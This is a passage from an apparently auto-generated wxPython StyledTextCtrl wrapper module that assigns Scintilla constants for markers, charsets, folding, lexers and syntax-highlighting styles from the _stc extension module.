_stc.STC_START\nSTC_OPTIONAL_START = _stc.STC_OPTIONAL_START\nSTC_LEXER_START = _stc.STC_LEXER_START\nSTC_WS_INVISIBLE = _stc.STC_WS_INVISIBLE\nSTC_WS_VISIBLEALWAYS = _stc.STC_WS_VISIBLEALWAYS\nSTC_WS_VISIBLEAFTERINDENT = _stc.STC_WS_VISIBLEAFTERINDENT\nSTC_EOL_CRLF = _stc.STC_EOL_CRLF\nSTC_EOL_CR = _stc.STC_EOL_CR\nSTC_EOL_LF = _stc.STC_EOL_LF\nSTC_CP_UTF8 = _stc.STC_CP_UTF8\nSTC_CP_DBCS = _stc.STC_CP_DBCS\nSTC_MARKER_MAX = _stc.STC_MARKER_MAX\nSTC_MARK_CIRCLE = _stc.STC_MARK_CIRCLE\nSTC_MARK_ROUNDRECT = _stc.STC_MARK_ROUNDRECT\nSTC_MARK_ARROW = _stc.STC_MARK_ARROW\nSTC_MARK_SMALLRECT = _stc.STC_MARK_SMALLRECT\nSTC_MARK_SHORTARROW = _stc.STC_MARK_SHORTARROW\nSTC_MARK_EMPTY = _stc.STC_MARK_EMPTY\nSTC_MARK_ARROWDOWN = _stc.STC_MARK_ARROWDOWN\nSTC_MARK_MINUS = _stc.STC_MARK_MINUS\nSTC_MARK_PLUS = _stc.STC_MARK_PLUS\nSTC_MARK_VLINE = _stc.STC_MARK_VLINE\nSTC_MARK_LCORNER = _stc.STC_MARK_LCORNER\nSTC_MARK_TCORNER = _stc.STC_MARK_TCORNER\nSTC_MARK_BOXPLUS = _stc.STC_MARK_BOXPLUS\nSTC_MARK_BOXPLUSCONNECTED = _stc.STC_MARK_BOXPLUSCONNECTED\nSTC_MARK_BOXMINUS = _stc.STC_MARK_BOXMINUS\nSTC_MARK_BOXMINUSCONNECTED = _stc.STC_MARK_BOXMINUSCONNECTED\nSTC_MARK_LCORNERCURVE = _stc.STC_MARK_LCORNERCURVE\nSTC_MARK_TCORNERCURVE = _stc.STC_MARK_TCORNERCURVE\nSTC_MARK_CIRCLEPLUS = _stc.STC_MARK_CIRCLEPLUS\nSTC_MARK_CIRCLEPLUSCONNECTED = _stc.STC_MARK_CIRCLEPLUSCONNECTED\nSTC_MARK_CIRCLEMINUS = _stc.STC_MARK_CIRCLEMINUS\nSTC_MARK_CIRCLEMINUSCONNECTED = _stc.STC_MARK_CIRCLEMINUSCONNECTED\nSTC_MARK_BACKGROUND = _stc.STC_MARK_BACKGROUND\nSTC_MARK_DOTDOTDOT = _stc.STC_MARK_DOTDOTDOT\nSTC_MARK_ARROWS = _stc.STC_MARK_ARROWS\nSTC_MARK_PIXMAP = _stc.STC_MARK_PIXMAP\nSTC_MARK_FULLRECT = _stc.STC_MARK_FULLRECT\nSTC_MARK_CHARACTER = _stc.STC_MARK_CHARACTER\nSTC_MARKNUM_FOLDEREND = _stc.STC_MARKNUM_FOLDEREND\nSTC_MARKNUM_FOLDEROPENMID = _stc.STC_MARKNUM_FOLDEROPENMID\nSTC_MARKNUM_FOLDERMIDTAIL = _stc.STC_MARKNUM_FOLDERMIDTAIL\nSTC_MARKNUM_FOLDERTAIL = _stc.STC_MARKNUM_FOLDERTAIL\nSTC_MARKNUM_FOLDERSUB = _stc.STC_MARKNUM_FOLDERSUB\nSTC_MARKNUM_FOLDER = _stc.STC_MARKNUM_FOLDER\nSTC_MARKNUM_FOLDEROPEN = _stc.STC_MARKNUM_FOLDEROPEN\nSTC_MASK_FOLDERS = _stc.STC_MASK_FOLDERS\nSTC_MARGIN_SYMBOL = _stc.STC_MARGIN_SYMBOL\nSTC_MARGIN_NUMBER = _stc.STC_MARGIN_NUMBER\nSTC_MARGIN_BACK = _stc.STC_MARGIN_BACK\nSTC_MARGIN_FORE = _stc.STC_MARGIN_FORE\nSTC_STYLE_DEFAULT = _stc.STC_STYLE_DEFAULT\nSTC_STYLE_LINENUMBER = _stc.STC_STYLE_LINENUMBER\nSTC_STYLE_BRACELIGHT = _stc.STC_STYLE_BRACELIGHT\nSTC_STYLE_BRACEBAD = _stc.STC_STYLE_BRACEBAD\nSTC_STYLE_CONTROLCHAR = _stc.STC_STYLE_CONTROLCHAR\nSTC_STYLE_INDENTGUIDE = _stc.STC_STYLE_INDENTGUIDE\nSTC_STYLE_CALLTIP = _stc.STC_STYLE_CALLTIP\nSTC_STYLE_LASTPREDEFINED = _stc.STC_STYLE_LASTPREDEFINED\nSTC_STYLE_MAX = _stc.STC_STYLE_MAX\nSTC_CHARSET_ANSI = _stc.STC_CHARSET_ANSI\nSTC_CHARSET_DEFAULT = _stc.STC_CHARSET_DEFAULT\nSTC_CHARSET_BALTIC = _stc.STC_CHARSET_BALTIC\nSTC_CHARSET_CHINESEBIG5 = _stc.STC_CHARSET_CHINESEBIG5\nSTC_CHARSET_EASTEUROPE = _stc.STC_CHARSET_EASTEUROPE\nSTC_CHARSET_GB2312 = _stc.STC_CHARSET_GB2312\nSTC_CHARSET_GREEK = _stc.STC_CHARSET_GREEK\nSTC_CHARSET_HANGUL = _stc.STC_CHARSET_HANGUL\nSTC_CHARSET_MAC = _stc.STC_CHARSET_MAC\nSTC_CHARSET_OEM = _stc.STC_CHARSET_OEM\nSTC_CHARSET_RUSSIAN = _stc.STC_CHARSET_RUSSIAN\nSTC_CHARSET_CYRILLIC = _stc.STC_CHARSET_CYRILLIC\nSTC_CHARSET_SHIFTJIS = _stc.STC_CHARSET_SHIFTJIS\nSTC_CHARSET_SYMBOL = _stc.STC_CHARSET_SYMBOL\nSTC_CHARSET_TURKISH = _stc.STC_CHARSET_TURKISH\nSTC_CHARSET_JOHAB = _stc.STC_CHARSET_JOHAB\nSTC_CHARSET_HEBREW = _stc.STC_CHARSET_HEBREW\nSTC_CHARSET_ARABIC = _stc.STC_CHARSET_ARABIC\nSTC_CHARSET_VIETNAMESE = _stc.STC_CHARSET_VIETNAMESE\nSTC_CHARSET_THAI = _stc.STC_CHARSET_THAI\nSTC_CHARSET_8859_15 = _stc.STC_CHARSET_8859_15\nSTC_CASE_MIXED = _stc.STC_CASE_MIXED\nSTC_CASE_UPPER = _stc.STC_CASE_UPPER\nSTC_CASE_LOWER = _stc.STC_CASE_LOWER\nSTC_INDIC_MAX = _stc.STC_INDIC_MAX\nSTC_INDIC_PLAIN = _stc.STC_INDIC_PLAIN\nSTC_INDIC_SQUIGGLE = _stc.STC_INDIC_SQUIGGLE\nSTC_INDIC_TT = _stc.STC_INDIC_TT\nSTC_INDIC_DIAGONAL = _stc.STC_INDIC_DIAGONAL\nSTC_INDIC_STRIKE = _stc.STC_INDIC_STRIKE\nSTC_INDIC_HIDDEN = _stc.STC_INDIC_HIDDEN\nSTC_INDIC_BOX = _stc.STC_INDIC_BOX\nSTC_INDIC_ROUNDBOX = _stc.STC_INDIC_ROUNDBOX\nSTC_INDIC0_MASK = _stc.STC_INDIC0_MASK\nSTC_INDIC1_MASK = _stc.STC_INDIC1_MASK\nSTC_INDIC2_MASK = _stc.STC_INDIC2_MASK\nSTC_INDICS_MASK = _stc.STC_INDICS_MASK\nSTC_PRINT_NORMAL = _stc.STC_PRINT_NORMAL\nSTC_PRINT_INVERTLIGHT = _stc.STC_PRINT_INVERTLIGHT\nSTC_PRINT_BLACKONWHITE = _stc.STC_PRINT_BLACKONWHITE\nSTC_PRINT_COLOURONWHITE = _stc.STC_PRINT_COLOURONWHITE\nSTC_PRINT_COLOURONWHITEDEFAULTBG = _stc.STC_PRINT_COLOURONWHITEDEFAULTBG\nSTC_FIND_WHOLEWORD = _stc.STC_FIND_WHOLEWORD\nSTC_FIND_MATCHCASE = _stc.STC_FIND_MATCHCASE\nSTC_FIND_WORDSTART = _stc.STC_FIND_WORDSTART\nSTC_FIND_REGEXP = _stc.STC_FIND_REGEXP\nSTC_FIND_POSIX = _stc.STC_FIND_POSIX\nSTC_FOLDLEVELBASE = _stc.STC_FOLDLEVELBASE\nSTC_FOLDLEVELWHITEFLAG = _stc.STC_FOLDLEVELWHITEFLAG\nSTC_FOLDLEVELHEADERFLAG = _stc.STC_FOLDLEVELHEADERFLAG\nSTC_FOLDLEVELBOXHEADERFLAG = _stc.STC_FOLDLEVELBOXHEADERFLAG\nSTC_FOLDLEVELBOXFOOTERFLAG = _stc.STC_FOLDLEVELBOXFOOTERFLAG\nSTC_FOLDLEVELCONTRACTED = _stc.STC_FOLDLEVELCONTRACTED\nSTC_FOLDLEVELUNINDENT = _stc.STC_FOLDLEVELUNINDENT\nSTC_FOLDLEVELNUMBERMASK = _stc.STC_FOLDLEVELNUMBERMASK\nSTC_FOLDFLAG_LINEBEFORE_EXPANDED = _stc.STC_FOLDFLAG_LINEBEFORE_EXPANDED\nSTC_FOLDFLAG_LINEBEFORE_CONTRACTED = _stc.STC_FOLDFLAG_LINEBEFORE_CONTRACTED\nSTC_FOLDFLAG_LINEAFTER_EXPANDED = _stc.STC_FOLDFLAG_LINEAFTER_EXPANDED\nSTC_FOLDFLAG_LINEAFTER_CONTRACTED = _stc.STC_FOLDFLAG_LINEAFTER_CONTRACTED\nSTC_FOLDFLAG_LEVELNUMBERS = _stc.STC_FOLDFLAG_LEVELNUMBERS\nSTC_FOLDFLAG_BOX = _stc.STC_FOLDFLAG_BOX\nSTC_TIME_FOREVER = _stc.STC_TIME_FOREVER\nSTC_WRAP_NONE = _stc.STC_WRAP_NONE\nSTC_WRAP_WORD = _stc.STC_WRAP_WORD\nSTC_WRAP_CHAR = _stc.STC_WRAP_CHAR\nSTC_WRAPVISUALFLAG_NONE = _stc.STC_WRAPVISUALFLAG_NONE\nSTC_WRAPVISUALFLAG_END = _stc.STC_WRAPVISUALFLAG_END\nSTC_WRAPVISUALFLAG_START = _stc.STC_WRAPVISUALFLAG_START\nSTC_WRAPVISUALFLAGLOC_DEFAULT = _stc.STC_WRAPVISUALFLAGLOC_DEFAULT\nSTC_WRAPVISUALFLAGLOC_END_BY_TEXT = _stc.STC_WRAPVISUALFLAGLOC_END_BY_TEXT\nSTC_WRAPVISUALFLAGLOC_START_BY_TEXT = _stc.STC_WRAPVISUALFLAGLOC_START_BY_TEXT\nSTC_CACHE_NONE = _stc.STC_CACHE_NONE\nSTC_CACHE_CARET = _stc.STC_CACHE_CARET\nSTC_CACHE_PAGE = _stc.STC_CACHE_PAGE\nSTC_CACHE_DOCUMENT = _stc.STC_CACHE_DOCUMENT\nSTC_EDGE_NONE = _stc.STC_EDGE_NONE\nSTC_EDGE_LINE = _stc.STC_EDGE_LINE\nSTC_EDGE_BACKGROUND = _stc.STC_EDGE_BACKGROUND\nSTC_CURSORNORMAL = _stc.STC_CURSORNORMAL\nSTC_CURSORWAIT = _stc.STC_CURSORWAIT\nSTC_VISIBLE_SLOP = _stc.STC_VISIBLE_SLOP\nSTC_VISIBLE_STRICT = _stc.STC_VISIBLE_STRICT\nSTC_CARET_SLOP = _stc.STC_CARET_SLOP\nSTC_CARET_STRICT = _stc.STC_CARET_STRICT\nSTC_CARET_JUMPS = _stc.STC_CARET_JUMPS\nSTC_CARET_EVEN = _stc.STC_CARET_EVEN\nSTC_SEL_STREAM = _stc.STC_SEL_STREAM\nSTC_SEL_RECTANGLE = _stc.STC_SEL_RECTANGLE\nSTC_SEL_LINES = _stc.STC_SEL_LINES\nSTC_ALPHA_TRANSPARENT = _stc.STC_ALPHA_TRANSPARENT\nSTC_ALPHA_OPAQUE = _stc.STC_ALPHA_OPAQUE\nSTC_ALPHA_NOALPHA = _stc.STC_ALPHA_NOALPHA\nSTC_KEYWORDSET_MAX = _stc.STC_KEYWORDSET_MAX\nSTC_MOD_INSERTTEXT = _stc.STC_MOD_INSERTTEXT\nSTC_MOD_DELETETEXT = _stc.STC_MOD_DELETETEXT\nSTC_MOD_CHANGESTYLE = _stc.STC_MOD_CHANGESTYLE\nSTC_MOD_CHANGEFOLD = _stc.STC_MOD_CHANGEFOLD\nSTC_PERFORMED_USER = _stc.STC_PERFORMED_USER\nSTC_PERFORMED_UNDO = _stc.STC_PERFORMED_UNDO\nSTC_PERFORMED_REDO = _stc.STC_PERFORMED_REDO\nSTC_MULTISTEPUNDOREDO = _stc.STC_MULTISTEPUNDOREDO\nSTC_LASTSTEPINUNDOREDO = _stc.STC_LASTSTEPINUNDOREDO\nSTC_MOD_CHANGEMARKER = _stc.STC_MOD_CHANGEMARKER\nSTC_MOD_BEFOREINSERT = _stc.STC_MOD_BEFOREINSERT\nSTC_MOD_BEFOREDELETE = _stc.STC_MOD_BEFOREDELETE\nSTC_MULTILINEUNDOREDO = _stc.STC_MULTILINEUNDOREDO\nSTC_MODEVENTMASKALL = _stc.STC_MODEVENTMASKALL\nSTC_KEY_DOWN = _stc.STC_KEY_DOWN\nSTC_KEY_UP = _stc.STC_KEY_UP\nSTC_KEY_LEFT = _stc.STC_KEY_LEFT\nSTC_KEY_RIGHT = _stc.STC_KEY_RIGHT\nSTC_KEY_HOME = _stc.STC_KEY_HOME\nSTC_KEY_END = _stc.STC_KEY_END\nSTC_KEY_PRIOR = _stc.STC_KEY_PRIOR\nSTC_KEY_NEXT = _stc.STC_KEY_NEXT\nSTC_KEY_DELETE = _stc.STC_KEY_DELETE\nSTC_KEY_INSERT = _stc.STC_KEY_INSERT\nSTC_KEY_ESCAPE = _stc.STC_KEY_ESCAPE\nSTC_KEY_BACK = _stc.STC_KEY_BACK\nSTC_KEY_TAB = _stc.STC_KEY_TAB\nSTC_KEY_RETURN = _stc.STC_KEY_RETURN\nSTC_KEY_ADD = _stc.STC_KEY_ADD\nSTC_KEY_SUBTRACT = _stc.STC_KEY_SUBTRACT\nSTC_KEY_DIVIDE = _stc.STC_KEY_DIVIDE\nSTC_SCMOD_NORM = _stc.STC_SCMOD_NORM\nSTC_SCMOD_SHIFT = _stc.STC_SCMOD_SHIFT\nSTC_SCMOD_CTRL = _stc.STC_SCMOD_CTRL\nSTC_SCMOD_ALT = _stc.STC_SCMOD_ALT\nSTC_LEX_CONTAINER = _stc.STC_LEX_CONTAINER\nSTC_LEX_NULL = _stc.STC_LEX_NULL\nSTC_LEX_PYTHON = _stc.STC_LEX_PYTHON\nSTC_LEX_CPP = _stc.STC_LEX_CPP\nSTC_LEX_HTML = _stc.STC_LEX_HTML\nSTC_LEX_XML = _stc.STC_LEX_XML\nSTC_LEX_PERL = _stc.STC_LEX_PERL\nSTC_LEX_SQL = _stc.STC_LEX_SQL\nSTC_LEX_VB = _stc.STC_LEX_VB\nSTC_LEX_PROPERTIES = _stc.STC_LEX_PROPERTIES\nSTC_LEX_ERRORLIST = _stc.STC_LEX_ERRORLIST\nSTC_LEX_MAKEFILE = _stc.STC_LEX_MAKEFILE\nSTC_LEX_BATCH = _stc.STC_LEX_BATCH\nSTC_LEX_XCODE = _stc.STC_LEX_XCODE\nSTC_LEX_LATEX = _stc.STC_LEX_LATEX\nSTC_LEX_LUA = _stc.STC_LEX_LUA\nSTC_LEX_DIFF = _stc.STC_LEX_DIFF\nSTC_LEX_CONF = _stc.STC_LEX_CONF\nSTC_LEX_PASCAL = _stc.STC_LEX_PASCAL\nSTC_LEX_AVE = _stc.STC_LEX_AVE\nSTC_LEX_ADA = _stc.STC_LEX_ADA\nSTC_LEX_LISP = _stc.STC_LEX_LISP\nSTC_LEX_RUBY = _stc.STC_LEX_RUBY\nSTC_LEX_EIFFEL = _stc.STC_LEX_EIFFEL\nSTC_LEX_EIFFELKW = _stc.STC_LEX_EIFFELKW\nSTC_LEX_TCL = _stc.STC_LEX_TCL\nSTC_LEX_NNCRONTAB = _stc.STC_LEX_NNCRONTAB\nSTC_LEX_BULLANT = _stc.STC_LEX_BULLANT\nSTC_LEX_VBSCRIPT = _stc.STC_LEX_VBSCRIPT\nSTC_LEX_BAAN = _stc.STC_LEX_BAAN\nSTC_LEX_MATLAB = _stc.STC_LEX_MATLAB\nSTC_LEX_SCRIPTOL = _stc.STC_LEX_SCRIPTOL\nSTC_LEX_ASM = _stc.STC_LEX_ASM\nSTC_LEX_CPPNOCASE = _stc.STC_LEX_CPPNOCASE\nSTC_LEX_FORTRAN = _stc.STC_LEX_FORTRAN\nSTC_LEX_F77 = _stc.STC_LEX_F77\nSTC_LEX_CSS = _stc.STC_LEX_CSS\nSTC_LEX_POV = _stc.STC_LEX_POV\nSTC_LEX_LOUT = _stc.STC_LEX_LOUT\nSTC_LEX_ESCRIPT = _stc.STC_LEX_ESCRIPT\nSTC_LEX_PS = _stc.STC_LEX_PS\nSTC_LEX_NSIS = _stc.STC_LEX_NSIS\nSTC_LEX_MMIXAL = _stc.STC_LEX_MMIXAL\nSTC_LEX_CLW = _stc.STC_LEX_CLW\nSTC_LEX_CLWNOCASE = _stc.STC_LEX_CLWNOCASE\nSTC_LEX_LOT = _stc.STC_LEX_LOT\nSTC_LEX_YAML = _stc.STC_LEX_YAML\nSTC_LEX_TEX = _stc.STC_LEX_TEX\nSTC_LEX_METAPOST = _stc.STC_LEX_METAPOST\nSTC_LEX_POWERBASIC = _stc.STC_LEX_POWERBASIC\nSTC_LEX_FORTH = _stc.STC_LEX_FORTH\nSTC_LEX_ERLANG = _stc.STC_LEX_ERLANG\nSTC_LEX_OCTAVE = _stc.STC_LEX_OCTAVE\nSTC_LEX_MSSQL = _stc.STC_LEX_MSSQL\nSTC_LEX_VERILOG = _stc.STC_LEX_VERILOG\nSTC_LEX_KIX = _stc.STC_LEX_KIX\nSTC_LEX_GUI4CLI = _stc.STC_LEX_GUI4CLI\nSTC_LEX_SPECMAN = _stc.STC_LEX_SPECMAN\nSTC_LEX_AU3 = _stc.STC_LEX_AU3\nSTC_LEX_APDL = _stc.STC_LEX_APDL\nSTC_LEX_BASH = _stc.STC_LEX_BASH\nSTC_LEX_ASN1 = _stc.STC_LEX_ASN1\nSTC_LEX_VHDL = _stc.STC_LEX_VHDL\nSTC_LEX_CAML = _stc.STC_LEX_CAML\nSTC_LEX_BLITZBASIC = _stc.STC_LEX_BLITZBASIC\nSTC_LEX_PUREBASIC = _stc.STC_LEX_PUREBASIC\nSTC_LEX_HASKELL = _stc.STC_LEX_HASKELL\nSTC_LEX_PHPSCRIPT = _stc.STC_LEX_PHPSCRIPT\nSTC_LEX_TADS3 = _stc.STC_LEX_TADS3\nSTC_LEX_REBOL = _stc.STC_LEX_REBOL\nSTC_LEX_SMALLTALK = _stc.STC_LEX_SMALLTALK\nSTC_LEX_FLAGSHIP = _stc.STC_LEX_FLAGSHIP\nSTC_LEX_CSOUND = _stc.STC_LEX_CSOUND\nSTC_LEX_FREEBASIC = _stc.STC_LEX_FREEBASIC\nSTC_LEX_INNOSETUP = _stc.STC_LEX_INNOSETUP\nSTC_LEX_OPAL = _stc.STC_LEX_OPAL\nSTC_LEX_SPICE = _stc.STC_LEX_SPICE\nSTC_LEX_AUTOMATIC = _stc.STC_LEX_AUTOMATIC\nSTC_P_DEFAULT = _stc.STC_P_DEFAULT\nSTC_P_COMMENTLINE = _stc.STC_P_COMMENTLINE\nSTC_P_NUMBER = _stc.STC_P_NUMBER\nSTC_P_STRING = _stc.STC_P_STRING\nSTC_P_CHARACTER = _stc.STC_P_CHARACTER\nSTC_P_WORD = _stc.STC_P_WORD\nSTC_P_TRIPLE = _stc.STC_P_TRIPLE\nSTC_P_TRIPLEDOUBLE = _stc.STC_P_TRIPLEDOUBLE\nSTC_P_CLASSNAME = _stc.STC_P_CLASSNAME\nSTC_P_DEFNAME = _stc.STC_P_DEFNAME\nSTC_P_OPERATOR = _stc.STC_P_OPERATOR\nSTC_P_IDENTIFIER = _stc.STC_P_IDENTIFIER\nSTC_P_COMMENTBLOCK = _stc.STC_P_COMMENTBLOCK\nSTC_P_STRINGEOL = _stc.STC_P_STRINGEOL\nSTC_P_WORD2 = _stc.STC_P_WORD2\nSTC_P_DECORATOR = _stc.STC_P_DECORATOR\nSTC_C_DEFAULT = _stc.STC_C_DEFAULT\nSTC_C_COMMENT = _stc.STC_C_COMMENT\nSTC_C_COMMENTLINE = _stc.STC_C_COMMENTLINE\nSTC_C_COMMENTDOC = _stc.STC_C_COMMENTDOC\nSTC_C_NUMBER = _stc.STC_C_NUMBER\nSTC_C_WORD = _stc.STC_C_WORD\nSTC_C_STRING = _stc.STC_C_STRING\nSTC_C_CHARACTER = _stc.STC_C_CHARACTER\nSTC_C_UUID = _stc.STC_C_UUID\nSTC_C_PREPROCESSOR = _stc.STC_C_PREPROCESSOR\nSTC_C_OPERATOR = _stc.STC_C_OPERATOR\nSTC_C_IDENTIFIER = _stc.STC_C_IDENTIFIER\nSTC_C_STRINGEOL = _stc.STC_C_STRINGEOL\nSTC_C_VERBATIM = _stc.STC_C_VERBATIM\nSTC_C_REGEX = _stc.STC_C_REGEX\nSTC_C_COMMENTLINEDOC = _stc.STC_C_COMMENTLINEDOC\nSTC_C_WORD2 = _stc.STC_C_WORD2\nSTC_C_COMMENTDOCKEYWORD = _stc.STC_C_COMMENTDOCKEYWORD\nSTC_C_COMMENTDOCKEYWORDERROR = _stc.STC_C_COMMENTDOCKEYWORDERROR\nSTC_C_GLOBALCLASS = _stc.STC_C_GLOBALCLASS\nSTC_TCL_DEFAULT = _stc.STC_TCL_DEFAULT\nSTC_TCL_COMMENT = _stc.STC_TCL_COMMENT\nSTC_TCL_COMMENTLINE = _stc.STC_TCL_COMMENTLINE\nSTC_TCL_NUMBER = _stc.STC_TCL_NUMBER\nSTC_TCL_WORD_IN_QUOTE = _stc.STC_TCL_WORD_IN_QUOTE\nSTC_TCL_IN_QUOTE = _stc.STC_TCL_IN_QUOTE\nSTC_TCL_OPERATOR = _stc.STC_TCL_OPERATOR\nSTC_TCL_IDENTIFIER = _stc.STC_TCL_IDENTIFIER\nSTC_TCL_SUBSTITUTION = _stc.STC_TCL_SUBSTITUTION\nSTC_TCL_SUB_BRACE = _stc.STC_TCL_SUB_BRACE\nSTC_TCL_MODIFIER = _stc.STC_TCL_MODIFIER\nSTC_TCL_EXPAND = _stc.STC_TCL_EXPAND\nSTC_TCL_WORD = _stc.STC_TCL_WORD\nSTC_TCL_WORD2 = _stc.STC_TCL_WORD2\nSTC_TCL_WORD3 = _stc.STC_TCL_WORD3\nSTC_TCL_WORD4 = _stc.STC_TCL_WORD4\nSTC_TCL_WORD5 = _stc.STC_TCL_WORD5\nSTC_TCL_WORD6 = _stc.STC_TCL_WORD6\nSTC_TCL_WORD7 = _stc.STC_TCL_WORD7\nSTC_TCL_WORD8 = _stc.STC_TCL_WORD8\nSTC_TCL_COMMENT_BOX = _stc.STC_TCL_COMMENT_BOX\nSTC_TCL_BLOCK_COMMENT = _stc.STC_TCL_BLOCK_COMMENT\nSTC_H_DEFAULT = _stc.STC_H_DEFAULT\nSTC_H_TAG = _stc.STC_H_TAG\nSTC_H_TAGUNKNOWN = _stc.STC_H_TAGUNKNOWN\nSTC_H_ATTRIBUTE = _stc.STC_H_ATTRIBUTE\nSTC_H_ATTRIBUTEUNKNOWN = _stc.STC_H_ATTRIBUTEUNKNOWN\nSTC_H_NUMBER = _stc.STC_H_NUMBER\nSTC_H_DOUBLESTRING = _stc.STC_H_DOUBLESTRING\nSTC_H_SINGLESTRING = _stc.STC_H_SINGLESTRING\nSTC_H_OTHER = _stc.STC_H_OTHER\nSTC_H_COMMENT = _stc.STC_H_COMMENT\nSTC_H_ENTITY = _stc.STC_H_ENTITY\nSTC_H_TAGEND = _stc.STC_H_TAGEND\nSTC_H_XMLSTART = _stc.STC_H_XMLSTART\nSTC_H_XMLEND = _stc.STC_H_XMLEND\nSTC_H_SCRIPT = _stc.STC_H_SCRIPT\nSTC_H_ASP = _stc.STC_H_ASP\nSTC_H_ASPAT = _stc.STC_H_ASPAT\nSTC_H_CDATA = _stc.STC_H_CDATA\nSTC_H_QUESTION = _stc.STC_H_QUESTION\nSTC_H_VALUE = _stc.STC_H_VALUE\nSTC_H_XCCOMMENT = _stc.STC_H_XCCOMMENT\nSTC_H_SGML_DEFAULT = _stc.STC_H_SGML_DEFAULT\nSTC_H_SGML_COMMAND = _stc.STC_H_SGML_COMMAND\nSTC_H_SGML_1ST_PARAM = _stc.STC_H_SGML_1ST_PARAM\nSTC_H_SGML_DOUBLESTRING = _stc.STC_H_SGML_DOUBLESTRING\nSTC_H_SGML_SIMPLESTRING = _stc.STC_H_SGML_SIMPLESTRING\nSTC_H_SGML_ERROR = _stc.STC_H_SGML_ERROR\nSTC_H_SGML_SPECIAL = _stc.STC_H_SGML_SPECIAL\nSTC_H_SGML_ENTITY = _stc.STC_H_SGML_ENTITY\nSTC_H_SGML_COMMENT = _stc.STC_H_SGML_COMMENT\nSTC_H_SGML_1ST_PARAM_COMMENT = _stc.STC_H_SGML_1ST_PARAM_COMMENT\nSTC_H_SGML_BLOCK_DEFAULT = _stc.STC_H_SGML_BLOCK_DEFAULT\nSTC_HJ_START = _stc.STC_HJ_START\nSTC_HJ_DEFAULT = _stc.STC_HJ_DEFAULT\nSTC_HJ_COMMENT = _stc.STC_HJ_COMMENT\nSTC_HJ_COMMENTLINE = _stc.STC_HJ_COMMENTLINE\nSTC_HJ_COMMENTDOC = _stc.STC_HJ_COMMENTDOC\nSTC_HJ_NUMBER = _stc.STC_HJ_NUMBER\nSTC_HJ_WORD = _stc.STC_HJ_WORD\nSTC_HJ_KEYWORD = _stc.STC_HJ_KEYWORD\nSTC_HJ_DOUBLESTRING = _stc.STC_HJ_DOUBLESTRING\nSTC_HJ_SINGLESTRING = _stc.STC_HJ_SINGLESTRING\nSTC_HJ_SYMBOLS = _stc.STC_HJ_SYMBOLS\nSTC_HJ_STRINGEOL = _stc.STC_HJ_STRINGEOL\nSTC_HJ_REGEX = _stc.STC_HJ_REGEX\nSTC_HJA_START = _stc.STC_HJA_START\nSTC_HJA_DEFAULT = _stc.STC_HJA_DEFAULT\nSTC_HJA_COMMENT = _stc.STC_HJA_COMMENT\nSTC_HJA_COMMENTLINE = _stc.STC_HJA_COMMENTLINE\nSTC_HJA_COMMENTDOC = _stc.STC_HJA_COMMENTDOC\nSTC_HJA_NUMBER = _stc.STC_HJA_NUMBER\nSTC_HJA_WORD = _stc.STC_HJA_WORD\nSTC_HJA_KEYWORD = _stc.STC_HJA_KEYWORD\nSTC_HJA_DOUBLESTRING = _stc.STC_HJA_DOUBLESTRING\nSTC_HJA_SINGLESTRING = _stc.STC_HJA_SINGLESTRING\nSTC_HJA_SYMBOLS = _stc.STC_HJA_SYMBOLS\nSTC_HJA_STRINGEOL = _stc.STC_HJA_STRINGEOL\nSTC_HJA_REGEX = _stc.STC_HJA_REGEX\nSTC_HB_START = _stc.STC_HB_START\nSTC_HB_DEFAULT = _stc.STC_HB_DEFAULT\nSTC_HB_COMMENTLINE = _stc.STC_HB_COMMENTLINE\nSTC_HB_NUMBER = _stc.STC_HB_NUMBER\nSTC_HB_WORD = _stc.STC_HB_WORD\nSTC_HB_STRING = _stc.STC_HB_STRING\nSTC_HB_IDENTIFIER = _stc.STC_HB_IDENTIFIER\nSTC_HB_STRINGEOL = _stc.STC_HB_STRINGEOL\nSTC_HBA_START = _stc.STC_HBA_START\nSTC_HBA_DEFAULT = _stc.STC_HBA_DEFAULT\nSTC_HBA_COMMENTLINE = _stc.STC_HBA_COMMENTLINE\nSTC_HBA_NUMBER = _stc.STC_HBA_NUMBER\nSTC_HBA_WORD = _stc.STC_HBA_WORD\nSTC_HBA_STRING = _stc.STC_HBA_STRING\nSTC_HBA_IDENTIFIER = _stc.STC_HBA_IDENTIFIER\nSTC_HBA_STRINGEOL = _stc.STC_HBA_STRINGEOL\nSTC_HP_START = _stc.STC_HP_START\nSTC_HP_DEFAULT = _stc.STC_HP_DEFAULT\nSTC_HP_COMMENTLINE = _stc.STC_HP_COMMENTLINE\nSTC_HP_NUMBER = _stc.STC_HP_NUMBER\nSTC_HP_STRING = _stc.STC_HP_STRING\nSTC_HP_CHARACTER = _stc.STC_HP_CHARACTER\nSTC_HP_WORD = _stc.STC_HP_WORD\nSTC_HP_TRIPLE = _stc.STC_HP_TRIPLE\nSTC_HP_TRIPLEDOUBLE = _stc.STC_HP_TRIPLEDOUBLE\nSTC_HP_CLASSNAME = _stc.STC_HP_CLASSNAME\nSTC_HP_DEFNAME = _stc.STC_HP_DEFNAME\nSTC_HP_OPERATOR = _stc.STC_HP_OPERATOR\nSTC_HP_IDENTIFIER = _stc.STC_HP_IDENTIFIER\nSTC_HPHP_COMPLEX_VARIABLE = _stc.STC_HPHP_COMPLEX_VARIABLE\nSTC_HPA_START = _stc.STC_HPA_START\nSTC_HPA_DEFAULT = _stc.STC_HPA_DEFAULT\nSTC_HPA_COMMENTLINE = _stc.STC_HPA_COMMENTLINE\nSTC_HPA_NUMBER = _stc.STC_HPA_NUMBER\nSTC_HPA_STRING = _stc.STC_HPA_STRING\nSTC_HPA_CHARACTER = _stc.STC_HPA_CHARACTER\nSTC_HPA_WORD = _stc.STC_HPA_WORD\nSTC_HPA_TRIPLE = _stc.STC_HPA_TRIPLE\nSTC_HPA_TRIPLEDOUBLE = _stc.STC_HPA_TRIPLEDOUBLE\nSTC_HPA_CLASSNAME = _stc.STC_HPA_CLASSNAME\nSTC_HPA_DEFNAME = _stc.STC_HPA_DEFNAME\nSTC_HPA_OPERATOR = _stc.STC_HPA_OPERATOR\nSTC_HPA_IDENTIFIER = _stc.STC_HPA_IDENTIFIER\nSTC_HPHP_DEFAULT = _stc.STC_HPHP_DEFAULT\nSTC_HPHP_HSTRING = _stc.STC_HPHP_HSTRING\nSTC_HPHP_SIMPLESTRING = _stc.STC_HPHP_SIMPLESTRING\nSTC_HPHP_WORD = _stc.STC_HPHP_WORD\nSTC_HPHP_NUMBER = _stc.STC_HPHP_NUMBER\nSTC_HPHP_VARIABLE = _stc.STC_HPHP_VARIABLE\nSTC_HPHP_COMMENT = 